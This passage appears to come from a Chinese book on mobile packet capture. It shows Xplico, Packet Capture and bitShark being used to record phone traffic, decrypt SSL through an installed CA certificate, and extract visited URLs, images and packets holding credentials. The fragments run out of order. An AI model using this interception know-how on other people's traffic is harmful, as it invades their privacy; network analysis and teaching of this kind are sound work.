Data部分可以看到捕获文件的起始时间、结束时间和状态信息，并且Status显示为DECODING COMPLETED，即解码完成。而且从协议列表中也可以看到对应的数据数，例如，HTTP中，Post方式的数据有205个，Get方式的数据有35个，Images（图片）共21个。接下来，即可快速找出用户请求的网址、图片及视频等信息。 未知 7.2 分析数据包 当将数据包成功上传到Xplico工具后，即可使用该工具快速分析数据包。本节介绍如何使用Xplico工具分析数据包，以获取用户访问的网址、图片及视频。"},
    {"text": "未知 7.2.1 获取网址 通过获取网址，即可知道用户请求了哪些网站。在Xplico的左侧列表中依次选择Web|Site选项，即可打开网址列表页面，如图7.41所示。 图7.41 请求的HTML网址 从图7.41中可以看到捕获文件中所有的网址。Xplico将所有网址进行了分类，包括Html（网页）、Image（图片）、Flash（动画）、Video（视频）、Audio（音频）、JSON和All（所有），默认显示了Html类的所有网址列表。在该列表中共包括5列，分别是Date（日期）、Url（网址）、Size（大小）、Method（方法）和Info（详细信息）。此时，单击Url列的网址即可查看网页内容，如图7.42所示。 图7.42 网页内容 如果想要查看网址的详细信息，则单击Info列中的info.xml文件，将显示对应网页的详细信息，如图7.43所示。 从该信息中可以看到包括4部分协议信息，分别是eth、ip、tcp和http。从ip部分可以看到该数据包的源和目标地址；从tcp部分可以看到数据包的源和目标端口；从http部分可以看到用户的请求信息，如访问的主机地址、内容类型、用户代理等。 图7.43 网页详细信息 未知 7.2.2 获取图片 如果想要快速查看用户查看的图片，则选中Image单选按钮，并单击Go按钮，将显示所有图片的网址列表，如图7.44所示。 图7.44 图片网址列表 在图片网址列表中可以看到已显示了所有的图片网址。此时，单击Url列的网址即可查看图片内容，如图7.45所示。 图7.45 请求的图片 Xplico工具还单独提供了一个图片查看功能。在左侧列表中依次选择Web|Images命令，即可查看所有图片信息，如图7.46所示。 图7.46 图片列表 在图片列表页面可以直观地看到访问过的图片，此时可以直接单击图片下方的Image或Page链接查看图片的详细信息。其中，单击Image显示的是图片，单击Page显示的是图片所在的网页，如图7.47和图7.48所示。 图7.47 Image信息 图7.48 Page信息 未知 7.2.3 获取视频 在Xplico的网址列表中选中Video单选按钮，然后单击Go按钮，将显示所有的视频网址，如图7.49所示。 图7.49 视频网址列表 如果想要播放某个视频，单击Url列中的播放按钮 即可。例如，播放第一个视频，将显示如图7.50所示的界面。 图7.50 播放的视频 如果想要在网页中播放视频的话，则单击Url列中的网址，播放成功后将显示如图7.51所示的页面。 图7.51 在网页中播放视频 未知 1.3.3 获取网络信息 在捕获数据包之前，最好先确定下手机的网络信息，如查看手机的IP地址和MAC地址，便于后期的识别和过滤。例如，为了避免捕获太多的冗余数据包，用户可以使用IP地址或MAC地址捕获过滤器仅捕获指定设备的数据包。当分析数据包时，可以根据IP地址或MAC地址进行显示过滤。在手机上可以通过命令或图形界面两种方式查看网络信息。下面介绍这两种获取手机网络信息的方法。 1.使用命令 在手机上，用户可以在终端模拟器上或使用ADB工具来执行netcfg命令查看网络信息。例如，下面使用ADB工具执行netcfg命令，以获取设备的网络信息。 C:\\Users\\Administrator>adb shell netcfg dummy0 DOWN 0.0.0.0/0 0x00000082 F2:DE:76:8E:58:49 wlan0 UP 192.168.1.41/24 0x00001043 1C:77:F6:60:F2:CC rmnet_ipa0 UP 0.0.0.0/0 0x00000041 00:00:00:00:00:00 sit0 DOWN 0.0.0.0/0 0x00000080 00:00:00:00:00:00 p2p0 UP 0.0.0.0/0 0x00001003 1E:77:F6:60:F2:CC lo UP 127.0.0.1/8 0x00000049 00:00:00:00:00:00 输出信息共包括5列，分别为接口名、状态、接口地址、路由标识和MAC地址。其中，状态列为DOWN表示接口关闭，为UP表示接口启用。因为当前设备是使用Wi-Fi连接网络的，所以这里的wlan0接口状态为UP，并且分配的IP地址为192.168.1.41。从最后一列可以看到，该手机的MAC地址为1C:77:F6:60:F2:CC。 2.图形界面 用户通过图形界面也可以快速查看手机的网络信息。在Android手机上，依次单击“设置”|“关于手机”|“状态信息”选项，将显示手机的“状态信息”界面，如图1.43所示。 从“状态信息”界面便可以看到当前手机的IP地址和MAC地址。其中，IP地址为192.168.1.41；MAC地址为1C:77:F6:60:F2:CC。 【实例1-12】 在苹果手机iPhone 6上，查看Wi-Fi网络的IP地址。具体操作步骤如下： （1）启用“设置”程序，并单击“无线局域网”选项，打开“无线局域网”界面，如图1.44所示。 （2）单击详细信息按钮 ，将显示网络信息界面，如图1.45所示。 从网络信息界面中可以看到，当前获取的IP地址为192.168.1.7，子网掩码为255.255. 255.0，路由器地址为192.168.1.1。 图1.43 状态信息 图1.44 无线局域网列表 【实例1-13】 查看苹果手机的MAC地址。具体操作步骤如下： 打开“设置”程序，并依次单击“通用”|“关于本机”选项，打开“关于本机”界面，如图1.46所示。 图1.45 网络信息 图1.46 MAC地址 图1.46中的无线局域网地址就是当前设备的MAC地址。 在苹果手机上，如果用户使用数据流量的方式来上网，将无法查看到本机的IP地址。用户可以在浏览器中输入“IP地址”关键字查看，但是获取的是外网IP地址，如图1.47所示。另外，使用这种方式每次获取的IP地址可能不同。 图1.47 IP地址"},
    {"text": "未知 第2章 手机直接抓包 利用手机应用软件或计算机软件可以直接从手机上抓取数据包。这种方式可以抓取手机上各个接口的数据，尤其是通过运营商传输的移动数据或蜂窝数据。目前，主流的手机系统分为Google的Android（安卓）和苹果的iOS两种，本章讲解如何在这两种操作系统的手机上进行直接抓包。 未知 2.1 使用Packet Capture抓包 Packet Capture是一款免费的Android手机数据包捕获应用程序。该软件主要利用系统的VPNService接口开启VPN服务，这样系统便会产生一个虚拟的网络接口。HTTP数据都会通过该网络接口发送给Packet Capture，在经过该App处理后，再把数据发送到真实的网络接口上。该工具无须进行Root操作，并可以显示文本或十六进制的数据。本节介绍如何使用Packet Capture应用程序捕获手机数据包。 未知 2.1.1 安装Packet Capture Packet Capture是第三方应用程序，在使用前需要先下载并安装该程序。下面讲解如何安装Packet Capture。 【实例2-1】 安装并启动Packet Capture程序。操作步骤如下： （1）在Android手机的软件商店或应用宝搜索Packet Capture程序，找到该软件，如图2.1所示。 （2）图2.1显示了Packet Capture的详细信息。单击“下载”按钮，开始下载该软件包。下载完成后将显示安装界面，如图2.2所示。 （3）单击“安装”按钮，开始安装Packet Capture程序。安装完成后将显示安装完成界面，如图2.3所示。 （4）从安装完成界面中可以看到，Packet Capture程序安装完成。单击“完成”按钮，将关闭安装界面。如果想立即启动该程序，单击“打开”按钮，将显示运行初始界面，如图2.4所示。 图2.1 下载Packet Capture程序 图2.2 安装Packet Capture程序 图2.3 安装完成 图2.4 启动Packet Capture （5）单击Get Started按钮，将显示免Root提示界面，如图2.5所示。 （6）从图2.5中可以看到，Packet Capture程序将调用操作系统的VPNService功能，所以不需要Root权限。单击Continue按钮，将显示SSL解密界面，如图2.6所示。 图2.5 免Root 图2.6 SSL解密 （7）图2.6提示如果要解密SSL数据，则需要安装CA证书。单击Install Certificate按钮，将显示证书信息界面，如图2.7所示。 （8）证书信息界面显示了证书的信息，如证书名称、凭据用途。单击“保存”按钮，证书安装成功。当证书安装成功后，将显示Packet Capture程序的主界面，如图2.8所示。 此时，Packet Capture程序就安装好了，并能成功启动。接下来，用户就可以使用该程序捕获数据包了。 提示： Packet Capture程序只有在第一次启动时，才会弹出安装证书等界面。另外，Packet Capture只能捕获HTTP和HTTPS的数据包。 图2.7 证书信息 图2.8 Packet Capture主界面 未知 2.1.2 捕获数据包 当用户在Android手机上安装Packet Capture程序后，即可使用该程序直接抓取手机上的数据包。下面介绍具体的捕获数据包的方法。 【实例2-2】 使用Packet Capture程序捕获数据包。具体操作步骤如下： （1）启动Packet Capture程序，将显示空白的主界面，如图2.9所示。 （2）单击开始捕获按钮 ，弹出一个警告对话框，如图2.10所示。 （3）警告对话框提示是否允许创建VPN连接，单击“允许”按钮，将创建一个VPN连接，此时即开始捕获当前手机中的数据包，如图2.11所示。 （4）从捕获的数据包界面中可以看到，显示了一个捕获包的时间和数据包数。此时已捕获29个包（29 captures），由此可以说明正在捕获数据包。单击该捕获数据包的时间，即可查看捕获的所有数据包，如图2.12所示。 图2.9 Packet Capture主界面 图2.10 警告对话框 图2.11 正在捕获数据包 图2.12 捕获的数据包 （5）从图2.12中可以看到，捕获了当前手机中微信程序的数据包。如果数据包中标记有SSL字样，则表示该数据包是SSL加密数据包。单击任意一个数据包，即可查看该包的详细信息，如图2.13所示。 （6）默认数据包解码格式为HTTP（heuristic），用户可以单击DECODE AS按钮，在打开的解码格式列表中切换为HTTP（strict）或RWA格式，如图2.14所示。 图2.13 数据包详细信息 图2.14 解码格式列表 （7）如果希望使用原始格式，则选中RAW单选按钮，将显示如图2.15所示的界面。 （8）从图2.15中可以看到，以原始格式（RAW）显示了数据包的详细信息。此时，单击右上角的按钮 ，将显示一个下拉列表，可以切换以Text（文本）或Hex（十六进制）格式显示的数据包信息，如图2.16所示。其中，默认是以Text格式显示数据包的。 （9）选中Hex单选按钮，将以十六进制格式显示数据包信息，如图2.17所示。 （10）当不需要捕获数据包时，返回捕获数据包界面，单击停止捕获按钮 将停止捕获数据包，如图2.18所示。 图2.15 RAW格式 图2.16 选择显示格式 图2.17 十六进制格式显示数据包 图2.18 停止捕获数据包 此时，表示已成功停止捕获数据包，并且显示了捕获的数据包数。从该界面显示的信息可以看到，共捕获106个数据包。"},
    {"text": "未知 2.1.3 保存数据包 为了方便以后对数据包进行分析，可以将捕获的数据包保存到一个捕获文件中。下面介绍保存捕获数据包的方法。 【实例2-3】 保存使用Packet Capture程序捕获的数据包。具体操作步骤如下： （1）打开数据包的详细信息界面，如图2.19所示。 （2）单击右上角的 按钮，将显示保存数据包的菜单列表，如图2.20所示。 图2.19 数据包的详细信息 图2.20 菜单列表 （3）在如图2.20所示的列表中包括4个菜单选项，分别是Save Upstream（保存客户端发送给服务器的数据）、Save Downstream（保存服务器发送给客户端的数据）、Save Both（保存所有数据）和Save pcap（保存为捕获文件）。例如，这里将选择保存为捕获文件，单击Save pcap选项，将显示保存为捕获文件界面，如图2.21所示。 图2.21 保存为捕获文件 （4）在保存为捕获文件界面指定保存数据包的位置和文件名，这里指定文件名为weixin.pcap，然后单击SAVE按钮，将成功保存捕获的数据包。 未知 2.2 使用bitShark抓包 bitShark是一款轻量级的Android数据抓包软件，该软件可以直接抓取手机各个网络接口的数据。该工具的优点是可以捕获各个协议的数据；缺点是运行的手机需要Root，并且支持的Android版本只到4.3。本节介绍使用bitShark工具捕获数据包的方法。 未知 1.1 手机抓包概述 如果要实施手机抓包，需要先了解抓包的目的和意义、法律边界等，这样可以避免在捕获数据包时，导致一些不必要的麻烦。 未知 2.2.1 安装bitShark bitShark也是一个第三方程序，所以需要先下载并安装该程序。下面讲解如何安装bitShark程序。 【实例2-4】 安装并启动bitShark程序。操作步骤如下： （1）在Android手机的软件商店中或百度手机助手上搜索bitShark程序并下载。下载成功后将显示安装界面，如图2.22所示。 （2）单击“安装”按钮即可开始安装，安装完成后显示“应用安装完成”界面，如图2.23所示。 图2.22 安装界面 图2.23 安装完成 （3）从该界面可以看到，bitShark已安装完成。单击“完成”按钮，退出安装界面。 未知 2.2.2 捕获数据包 当成功安装bitShark工具后，即可开始捕获数据包。具体操作步骤如下： （1）在手机上启动bitShark程序，将弹出“正在申请Root授权”对话框，如图2.24所示。 图2.24 “正在申请Root授权”对话框 （2）单击“允许”按钮，表示允许获取Root权限，将开始对Root权限及依赖的软件库进行检测，如图2.25所示。 图2.25 Root权限及相关依赖库检测 （3）从图2.25中可以看到，该工具已经允许Root访问，而且依赖的软件库都已成功安装。单击右上角的DONE按钮，将显示bitShark主界面，如图2.26所示。 图2.26 bitShark主界面 （4）在bitShark主界面中显示了4个按钮，分别是Open（打开）、Capture（捕获）、Settings（设置）和About（关于）。单击Capture按钮，将显示捕获包设置界面，如图2.27所示。 图2.27 捕获包设置界面 （5）该界面包括INTERFACE和CAPTURE LEVEL FILTER两部分。其中，INTERFACE部分用来指定捕获数据包使用的网络接口；CAPTURE LEVEL FILTER部分用来指定捕获过滤器，其语法格式和libpcap过滤器语法相同。如果用户不清楚，可以查看 www.tcpdump.org 网站。单击INTERFACE下拉列表，选择捕获接口，如图2.28所示。 图2.28 可选的网络接口 （6）从下拉列表中可以看到当前设备中的所有接口。当前设备使用的是Wi-Fi网络，所以选择接口wlan0，将显示如图2.29所示的界面。 （7）从图2.29中可以看到，选择了wlan0网络接口，其IP地址为192.168.1.44。单击右上角的START按钮，开始捕获数据包，如图2.30所示。 图2.29 选择网络接口 图2.30 正在捕获数据包 （8）从图2.30中可以看到捕获的数据包。当用户想要查看捕获的数据包时，可以单击右上角的PAUSE（暂停）按钮或STOP（停止）按钮。如果查看之后还要继续捕获包的话，可以单击PAUSE按钮，先暂停捕获，如图2.31所示。 图2.31 暂停捕获数据包 （9）此时，即可查看及分析已经捕获的数据包。如果想继续捕获数据包，单击右上角的PLAY按钮即可。"},
    {"text": "未知 2.2.3 分析数据包 当成功捕获数据包后，即可对其数据包进行详细分析。本节分析使用bitShark捕获的数据包。 1.打开捕获的数据包 如果用户没有退出bitShark，则可以直接分析捕获的数据包。如果退出bitShark后希望查看之前捕获的数据包，则需要打开捕获文件。其中，bitShark默认将捕获的数据包保存在/storage/sdcard0/bitshark/Captures目录下。下面介绍打开捕获文件的方法，具体操作步骤如下： （1）在bitShark主界面单击Open按钮，将显示文件选择界面，如图2.32所示。 图2.32 文件选择界面 （2）文件选择界面包括三个文件夹，分别是Captures、Images和Stats-Export。其中，Captures文件夹中保存了捕获的数据包文件；Images中保存了导出的图片文件；Stats-Export中保存了导出的统计数据文件。这里单击Captures文件夹，将显示捕获文件列表界面，如图2.33所示。 图2.33 捕获文件列表 （3）从捕获文件列表中可以看到有一个捕获文件bitShark-2019-10-12-14-2049.pcap，选择该捕获文件，在底部将看到选择的捕获文件名，如图2.34所示。 图2.34 已选择要打开的捕获文件 （4）单击右上角的OPEN FILE按钮将打开该捕获文件，如图2.35所示。从图中可以看到，成功显示了捕获文件中的数据包。接下来就可以分析数据包了。 图2.35 成功打开捕获文件 2.查看包详细信息 当在bitShark中成功打开一个捕获文件后即可分析其数据包。下面以前面打开的捕获文件为例，进行数据分析。其中，捕获的数据包列表如图2.36所示。 图2.36 捕获的数据包列表 在捕获的数据包列表中包括三列，分别是协议类型和数据包编号、数据包摘要信息、应用的协议及包大小。例如，在该界面选择编号为0的数据包，将显示该数据包的详细信息，如图2.37所示。 在包详细信息界面，包括Packet Info（包详细信息）、Ethernet（以太网协议）、Ip4（IPv4协议）和Tcp（TCP）4部分信息。从Packet Info部分可以看到包的详细信息，如包编号、大小、时间戳及主机名等；其他部分则是对应协议层的详细信息。需要注意的是，不同协议的数据包，其对应的协议层结构也不同。 3.快速查询数据包 在数据包列表界面，可以通过向上或向下滑动来查看捕获的数据包。如果数据包较多，会特别浪费时间。此时可以使用快速查询数据包的方式来查找想要分析的数据包。下面介绍快速查询数据包的方法。 图2.37 包详细信息 【实例2-5】 快速查找编号为2571的数据包。具体操作步骤如下： （1）在数据包列表界面，单击右上角的INDEX按钮，将会在屏幕底部出现一个滚动条，如图2.38所示。 （2）此时通过单击或者左右滑动滚动条，即可快速查找数据包。当左右滑动时，即可看到浏览的数据包数。由于捕获的第一个数据包编号为0，所以编号为2571的数据包索引为2572，如图2.39所示。从图2.39中可以看到，快速找到了的编号为2571的数据包。 图2.38 滚动条 图2.39 查找的数据包"},
    {"text": "未知 2.2.4 过滤数据包 使用bitShark的默认设置捕获数据包，将会捕获大量数据包。如果想要分析需要的数据包，则查找起来比较困难。此时可以使用过滤器对数据包进行“显示过滤”。下面介绍过滤数据包的方法。 1.创建过滤器 如果要使用过滤器，则需要先创建过滤器。下面介绍创建过滤器的方法，具体操作步骤如下： （1）在捕获包列表界面单击FILTER按钮，将弹出一个菜单列表，如图2.40所示。 （2）在菜单列表中共包括三个选项，分别是Open Filtered View（打开过滤器视图）、Create New Filter（创建过滤器）和View Filters（查看过滤器）。这里单击Create New Filter选项，将显示创建过滤器界面，如图2.41所示。 图2.40 菜单列表 （3）在创建过滤器界面显示了所有可以创建的过滤器种类，默认值都为ANY。为了方便用户创建过滤器，这里将对每个选项的含义进行介绍。 ·Datalink Protocol：创建数据链路层协议过滤器。 ·Network Layer Protocol：创建网络层协议过滤器。 ·Transport Protocol：创建传输层协议过滤器。 ·Application Protocol：创建应用层协议过滤器。 ·Source IP Address：创建源IP地址过滤器。 ·Destination IP Address：创建目标IP地址过滤器。 ·Source Port：创建源端口过滤器。 ·Destination Port：创建目标端口过滤器。 ·Packet Size(Bytes)：创建包大小过滤器。 ·Arrived Before Time：创建指定时间前的过滤器。 ·Arrived After Time：创建指定时间后的过滤器。 当对每个选项含义了解清楚后，则可以创建其过滤器。用户通过单击过滤器的下拉列表，即可看到可以创建的过滤器。例如，创建显示过滤TCP目标端口为80的过滤器，因为TCP属于传输层协议，所以单击Transport Protocol下拉列表，即可看到可以选择的协议，如图2.42所示。 图2.41 创建过滤器 图2.42 传输层协议列表 （4）从Transport Protocol下拉列表中看到，可以选择的选项有ANY、UDP和TCP，这里选择TCP过滤器。然后单击Destination Port下拉列表，将显示可设置的端口选项，如图2.43所示。 （5）在端口下拉列表中，包括ANY（任意）、EQUALS（等于）、NOT（不等于）、GREATER THAN（大于）和LESS THAN（小于）5个选项。这里选择EQUALS，并指定端口为80，如图2.44所示。 （6）单击右上角的SAVE按钮，保存创建的过滤器。使用以上方法，可以创建其他过滤器。 图2.43 设置端口选项 图2.44 新建的过滤器 2.选择过滤器 用户创建的过滤器，默认将会启动。如果创建多个过滤器的话，将同时应用。所以，如果要对数据包进行过滤，则需要选择启用的过滤器。在捕获包列表界面，依次单击FILTER|View Filters命令，即可看到创建的过滤器列表，如图2.45所示。 从该界面可以看到刚创建的过滤器，其名称为FILTER#1，而且该过滤器默认已经启用。如果不想要启用的话，取消选中Enabled复选框。另外，选择该过滤器，还可以进行编辑或删除。如果想要进行编辑的话，选中FILTER#1单选按钮，将显示EDIT按钮，如图2.46所示。 图2.45 过滤器列表 图2.46 EDIT按钮 此时，单击EDIT按钮，即可编辑该过滤器。如果不再需要该过滤器时，单击DELETE按钮，即可删除该过滤器。 3.应用过滤器 通过前面的方法，用户已经选择好使用的过滤器。此时，在捕获包列表界面依次单击FILTER|Open Filtered View命令，即可应用其过滤器。当成功应用过滤器后，将显示匹配的数据包，如图2.47所示。 图2.47 匹配的数据包 从该界面的协议列可以看到，所有的数据包都是TCP；从包摘要信息列可以看到，目标端口都为80。由此可以说明，已成功应用其过滤器。而且，从捕获包列表顶部可以看到，共过滤出2047个数据包。"},
    {"text": "未知 2.2.5 导出数据包 bitShark会捕获很多数据包，但有用的包只是极小部分。为了方便后续分析或者存储，可以将有用的数据包进行导出。导出的时候，可以导出单个数据包，也可以导出多个数据包。下面详细讲解bitShark的数据包导出。 1.导出单个包 在分析捕获数据包的时候，有时候会遇到特殊的数据包，可以将这个特殊的数据包单独导出，以便下次查看，如包含用户名和密码的包。例如，这里导出一个HTTP包（包编号为339），具体操作步骤如下： （1）在捕获包列表中单击编号为339的数据包，将显示该数据包的详细信息，如图2.48所示。 图2.48 包详细信息 （2）用户通过向左滑动屏幕，或者选择Options选项卡，将显示数据包选项界面，如图2.49所示。 （3）从数据包选项界面可以看到，可以执行的操作有两个，分别是CREATE FILTER和EXPORT PACKET。其中，CREATE FILTER选项用来创建过滤器；EXPORT PACKET选项用来导出数据包。单击EXPORT PACKET选项，即可成功导出数据包，如图2.50所示。 图2.49 数据包选项界面 图2.50 成功导出数据包 从图2.50中可以看到，数据包默认被导出到/storage/sdcard0/bitShark/Export/b4f2a52c84fe4802cd4ce29952546b89/HTTP-Packet-339.pcap文件。其中，b4f2a52c84fe4802cd4ce299 52546b89是导出数据包所在的文件夹，该文件夹是自动生成的；数据包文件名是由协议和数据包编号组合成的。例如，HTTP-Packet-339.pcap数据包文件名中，HTTP表示数据包协议为HTTP；339表示该数据包编号为339。 提示： 单独导出的数据包，默认都放在/storage/sdcard0/bitshark/Export/目录下；导出的数据包的名称是根据该数据包的协议和编号来命名的；导出数据包所在的文件夹是根据捕获文件自动生成的。在一个捕获文件中单独导出的数据包，会保存在一个自动生成的文件夹中。如果在另一个捕获文件中，再次单独导出数据包，又会自动生成另一个文件夹来保存导出的数据包，但是数据包默认命名的规则是不变的。 2.导出多个包 bitShark捕获一堆数据包后，用户为了快速地分析数据包，会使用过滤器过滤出需要分析的数据包。当用户下次分析这些数据包的时候还需要再次过滤，这样比较费时。此时可以将这些需要重点分析的数据包导出到一个单独的文件，便于后续的分析。下面以前面过滤出的数据包为例，来实现多个数据包导出。具体操作步骤如下： （1）在捕获文件中应用过滤器后，将显示匹配过滤器的数据包，如图2.51所示。 图2.51 过滤出的数据包 （2）单击右上角的OPTIONS按钮，将弹出一个菜单列表，如图2.52所示。 图2.52 菜单列表 （3）单击Export Filtered View命令，将弹出导出数据包提示对话框，询问是否导出过滤的数据包到一个单独PCAP文件，如图2.53所示。 （4）单击Yes按钮，将开始导出数据包。当数据包导出完成后，将显示导出完成界面，如图2.54所示。 图2.53 导出数据包提示对话框 图2.54 导出完成 从图2.54中可以看到，导出完成（Export Complete）。导出的数据包默认保存到/storage/sdcard0/bitshark/Export/b4f2a52c84fe4802cd4ce29952546b89/Filtered-View-Export.pcap文件。其中b4f2a52c84fe4802cd4ce29952546b89是导出数据包所在的文件夹，这个文件夹的名称也是自动生成的；导出的数据包的默认名称为Filtered-View-Export.pcap，这个名称是固定不变的。 提示： 导出多个数据包时，导出的数据包默认都放在/storage/sdcard0/bitshark/Export/目录下，这个和导出单独数据包一样。导出的数据包也同样放在一个自动生成的文件夹中，不同的是导出多个数据包的文件名称是固定的。在一个捕获文件中导出多个数据包会自动生成一个文件夹，用来存放导出的文件，如果继续在这个捕获文件中再次导出多个数据包，导出的文件名称还是Filtered-View-Export.pcap，会把第一次导出的多个文件替换掉。所以，在导出数据包时，需注意将之前导出的文件做好备份，避免被覆盖掉。"},
    {"text": "未知 2.2.6 导出图片 通过分析用户访问的图片，即可快速了解用户执行的操作。例如，在手机上用户使用的QQ程序，可以查看用户空间图片及一些好友头像，也可以查看用户使用聊天工具传输的图片等。下面介绍导出图片的方法。 1.提取图片 当捕获用户访问的图片时，捕获包列表的协议列将显示为一个相机图标，如图2.55所示。 图2.55 包含图片的数据包 单击右上角的更多按钮 ，将弹出Options菜单，再单击Options选项，将弹出功能菜单列表，如图2.56所示。 图2.56 菜单列表 单击Extract Images选项，将弹出提取图片对话框，如图2.57所示。 提取图片对话框询问是否现在提取图片，单击YES按钮，将开始提取图片，如图2.58所示。 图2.57 提取图片对话框 从图2.58可以看到，正在提取图片。如果不想要继续提取时，可以单击STOP按钮停止。当提取完成后，即可看到提取出的图片数，如图2.59所示。 图2.58 正在提取图片 图2.59 图片提取完成 从图片提取完成界面可以看到，共提取到112个图片。单击DONE按钮，则图片提取完成。如果想要查看图片，单击VIEW IMAGES按钮，即可查看提取的图片列表。 2.查看图片 当成功提取出图片后，即可查看图片。通过在图片提取完成界面，直接单击VIEW IMAGES按钮，或者在Options的功能菜单列表中单击View Images选项，即可打开图片列表，如图2.60所示。 图2.60 图片列表 从图片列表界面可以看到提取到的图片缩略图，此时单击任何一张图片，即可放大查看，如图2.61所示。 图2.61 图片信息 在图2.61中，可以很清晰地查看图片信息，并且可以获取该图片的文件名，该图片文件名为Packet- 26000.gif。图片文件名中的数字，表示该图片所在的数据包编号。 bitShark工具默认提取到的图片，将保存在/storage/ sdcard0/bitshark/Images目录中。所以，在该目录中也可以查看提取到的图片，如图2.62所示。 从图2.62中可以看到所有的图片文件名及大小。此时，单击任何一张图片，即可查看图片内容。 图2.62 提取到的图片 使用前面的方法，可以快速浏览整个捕获文件中的所有图片。如果想要查看单独某个数据包中的图片，可以在数据包的详细信息界面查看。例如，这里将查看编号为301数据包中的图片，则在捕获包列表中选择该数据包，并单击打开包详细信息界面，如图2.63所示。 图2.63 数据包详细信息界面 在数据包详细信息界面，包括一个名为WebImage的部分，即Web图片，单击Click to Reassemble Image选项，将显示该数据包中的图片信息，如图2.64所示。 图2.64 图片信息 从图2.64中可以看到，捕获一张大小为6555字节，类型为.jpg的图片。其中，该图片传输的TCP数据包进行了分片，分为302、305、307和309 4个分片。 3.分享图片 提取和查看图片后，可以将重要的图片通过分享的方式复制到其他设备上。用户在查看图片时，右上角将会出现一个“分享”按钮 ，如图2.65所示。 图2.65 分享按钮 单击“分享”按钮 ，将显示可以使用的分享方式，如图2.66所示。 图2.66 分享方式 从图2.66中可以看到，显示了“信息”和“蓝牙”两种方式。单击See all…选项，可以查看其他的分享方式，如图2.67所示。 图2.67所示的菜单列表中显示了所有的图片分享方式。用户可以根据自己的目标设备，选择对应的分享方式。例如，要使用QQ发送，则单击“发送给好友”选项，并选择QQ好友，将显示发送图片对话框，如图2.68所示。 图2.67 所有分享方式 图2.68 发送图片对话框 此时，单击“发送”按钮，即可将图片发送给目标好友。 提示： 当分析图片时，使用的分享方式如果需要账号登录（如QQ、微信等），则需要提前登录。否则，选择分享方式后，也需要登录后才可以分享。"},
    {"text": "未知 2.2.7 数据包统计分析 数据包的统计分析是对bitShark捕获的数据包的各种协议进行总结统计，这样有助于对各种数据包的了解。当对数据包进行统计分析后，还可以将统计结果导出到一个PDF报告文件。另外，还可以对数据库进行管理或重建索引。下面讲解数据包的分析、查看以及对数据包的管理等。 1.分析数据包 在捕获的数据包列表界面，单击ANALYZE按钮，将弹出一个菜单列表，如图2.69所示。 图2.69 菜单列表 在菜单列表中，单击Analyze选项，将弹出分析捕获文件对话框，提示是否现在分析捕获文件，如图2.70所示。 单击YES按钮，将开始分析数据包。分析完成后，显示如图2.71所示的界面。 图2.70 分析捕获文件对话框 图2.71 分析完成 从图2.71中可以看到，显示为Analysis Complete，表示分析完成。单击DONE按钮，将关闭分析界面；单击VIEW STATS按钮，可以查看统计结果。 2.查看统计数据 在分析数据包完成界面中，单击VIEW STATS按钮，或者在捕获包列表界面依次单击ANALYZE|View Stats选项，即可显示统计数据结果，如图2.72所示。 图2.72 Stats Summary统计界面 在统计界面包括两部分统计数据，分别是Stats Summary（汇总信息）和IP Traffic（IP数据统计）。默认显示Stats Summary统计界面，该部分按照捕获文件的协议层次结构进行了统计。例如，Datalink Protocols（数据链路层协议）中，ETH2协议的数据包共33593个，占数据包总数的比例为100%，数据包大小为30.747MB，占数据包总大小的比例为100%。向左滑动屏幕或选择IP Traffic选项卡，将显示IP Traffic统计界面，如图2.73所示。 图2.73 IP数据统计界面 在IP数据统计界面显示了源IP地址和目标IP地址之间的数据包统计结果。例如，源IP地址192.168.1.44与目标IP地址203.208.41.126之间共交互的数据包有75个，所占比例为0.2233%，数据包大小为9.156KB，所占比例为0.0291%。 3.导出报告 用户还可以将捕获文件的统计结果导出为PDF报告文件。在捕获包列表界面，依次单击ANALYZE|Export Stats选项，将弹出Exporting Stats to PDF对话框，如图2.74所示。 提示： 在导出统计信息报告之前，需要对捕获文件进行分析。如果没有进行分析的话，单击Export Stats选项后，将弹出分析捕获文件对话框，如图2.75所示。单击YES按钮，将开始分析捕获文件。分析完成后，显示Exporting Stats to PDF界面。 此时，表示正在导出统计数据到PDF文件。导出完成后，将显示导出的文件信息对话框，如图2.76所示。 图2.74 Exporting Stats to PDF对话框 图2.75 分析捕获文件对话框 从导出的文件信息对话框中可以看到，导出的文件默认保存到/storage/sdcard0/bitShark/ Stats-Export/bitShark-2019-10-14-11-0352.pcap-Stats.pdf。单击DONE按钮，关闭导出统计数据对话框。如果想要查看该报告文件，单击VIEW PDF按钮，将弹出“选择要使用的应用”对话框，如图2.77所示。 图2.76 导出的文件信息对话框 图2.77 “选择要使用的应用”对话框 在该对话框中，用户可以选择使用QQ发送给好友或者使用Adobe Acrobat程序打开该PDF文件。这里选择打开该报告文件，所以选择Adobe Acrobat，并单击“仅此一次”按钮，将打开导出的报告文件，如图2.78所示。 看到该界面显示的信息，则表示成功打开了导出的PDF报告文件。 4.数据管理 当用户对数据包进行分析后，还可以对其数据进行管理，如查看和删除捕获文件。在捕获包列表中，依次单击ANALYZE|Manage DB选项，将显示Stat Database（统计数据库）界面，如图2.79所示。 图2.78 报告文件 图2.79 数据库统计列表 图2.79中显示了所有已经分析过的捕获文件。此时，用户可以选择要进行数据管理的捕获文件。例如，选择删除第一个数据库统计文件，则选中第一个捕获文件的单选按钮，右上角将弹出一个DELETE按钮，如图2.80所示。 图2.80 选择要管理的数据库统计文件 此时便可以将该数据库文件删除。单击右上角的DELETE按钮，将弹出删除捕获文件统计数据对话框，如图2.81所示。 图2.81 删除捕获文件统计数据对话框 单击Yes按钮，即可从数据库中删除该捕获文件的统计数据。如果不想要删除的话，单击No按钮。 5.重建索引 bitShark提供了一个索引功能，可以帮助用户快速查找数据包。重建索引功能是将用户创建的索引删除，并快速返回到起始包。当一个捕获文件中的数据包较多时，使用索引可以快速找到对应的数据包。但是，如果要返回到第一个数据包时，则需要通过滑动屏幕来实现，这会需要很长的时间。此时，通过重建索引，即可快速返回到第一个数据包。 【实例2-6】 使用重建索引快速返回到第一个数据包。具体操作步骤如下： （1）在捕获的数据包列表界面，单击INDEX按钮启动索引功能，并快速查找到第22 635个数据包，如图2.82所示。 （2）接下来，使用重建索引功能快速返回到第一个数据包。在捕获包列表界面，依次单击ANALYZE|Re-Index File选项，将快速返回到第一个数据包，如图2.83所示。 图2.82 找到的数据包 图2.83 返回到第一个数据包 从图2.83中可以看到，成功返回到第一个数据包。"},
